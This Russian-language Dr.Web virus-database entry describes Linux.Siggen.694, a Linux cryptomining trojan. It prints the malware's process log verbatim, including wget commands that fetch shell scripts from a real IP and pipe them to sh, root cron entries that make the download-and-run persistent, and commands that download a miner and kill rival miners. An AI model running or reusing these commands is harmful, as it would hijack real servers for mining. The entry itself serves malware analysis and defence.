Linux.Siggen.694

Linux.Siggen.694

Добавлен в вирусную базу Dr.Web: 2018-07-04

Описание добавлено: 2018-07-03

Для обеспечения автоматического запуска и распространения:

Создает или модифицирует следующие файлы:

Вредоносные функции:

Самоудаляется

Запускает себя в качестве демона

Запускает процессы:

<SAMPLE_FULL_PATH> 2
/bin/sh -c /usr/bin/wget -q -O - http://103.233.82.32/izxcv.sh | /bin/sh
/usr/bin/wget -q -O - http://103.233.82.32/izxcv.sh
/bin/sh
/bin/sh -c mkdir -p /var/spool/cron/crontabs
mkdir -p /var/spool/cron/crontabs
/bin/sh -c uname -m
uname -m
/bin/sh -c echo \"0 * * * * /usr/bin/wget -q -O - http://103.233.82.32/i.sh | /bin/sh\" > /var/spool/cron/root
/bin/sh -c echo \"0 * * * * /usr/bin/wget -q -O - http://103.233.82.32/i.sh | /bin/sh\" > /var/spool/cron/crontabs/root
/bin/sh -c /usr/bin/wget -q -O - http://103.233.82.32/izxcvb.sh | /bin/sh
/usr/bin/wget -q -O - http://103.233.82.32/izxcvb.sh
mkdir /etc/seconfig
rm /etc/seconfig/pools.txt
rm /etc/seconfig/config.json
grep -v grep
grep redis-server\|hash\|xmr\|\.sr0\|Circle_MI\|get.bi-chi.com\|pool\|ddg\.\|mirai
ps xf
wget -q http://103.233.82.32/xorgg.i686 -O /etc/seconfig/xorgg
wget -q http://103.233.82.32/ccc -O /etc/seconfig/cpu.txt
wget -q http://103.233.82.32/cccc -O /etc/seconfig/config.txt
wget -q http://103.233.82.32/con -O /etc/seconfig/config.json
wget -q http://103.233.82.32/ppp -O /etc/seconfig/pools.txt
ps auxf
grep Circle_MI
awk {print $2}
xargs kill
kill
grep get.bi-chi.com
grep hashvault.pro
grep nanopool.org
grep minexmr.com
grep /boot/efi/
grep /ddg.
grep xorgg
grep -q 8.8.8.8 /etc/resolv.conf
rm -rf /var/tmp/*
rm -rf /tmp/samba
chmod +x /etc/seconfig/xorgg
sleep 2
/etc/seconfig/xorgg

Выполняет операции с файловой системой:

Модифицирует права доступа к файлам:

Создает папки:

Создает или модифицирует файлы:

Удаляет файлы:

Сетевая активность:

Ожидает входящих соединений на портах:

Устанавливает соединение:

HTTP GET-запросы:

Посылает данные следующим серверам:

Получает данные от следующих серверов:

Прочее:

Собирает информацию о CPU

Собирает информацию об оперативной памяти

Собирает информацию о сетевой активности